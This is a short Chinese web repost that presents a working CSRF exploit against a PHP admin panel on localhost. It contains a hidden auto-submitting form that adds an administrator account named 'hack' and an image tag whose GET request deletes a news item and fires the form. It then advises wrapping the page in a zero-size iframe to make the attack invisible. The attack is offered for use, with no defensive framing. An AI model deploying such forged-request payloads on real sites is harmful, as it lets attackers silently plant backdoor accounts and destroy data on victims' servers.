一段csrf利用代码

来源:互联网 发布:java音乐网站 编辑:程序博客网 时间:2024/05/01 04:53
<script>function test(){    document.getElementById("myform").submit();    }</script><form  name="myfrom" id="myform" method="post" action="http://localhost:8000/manager_user.php?mod=add"><input type="hidden" name="username" value="hack" /><input type="hidden" name="password" value="hack" /></form>上面是利用post形式进行传递参数下面是get方式进行传递参数<img src="http://localhost:8000/manager_news.php?mod=del&newsid=4" onerror="test()" />


为了让上面的代码更具有隐蔽行,把上面的代码保存成1.html,然后下面用框架包含,并且把框架长,宽都设置成0,这样就能杀人于无形了

<iframe src="1.html" width="0" height="0"></iframe>



0 0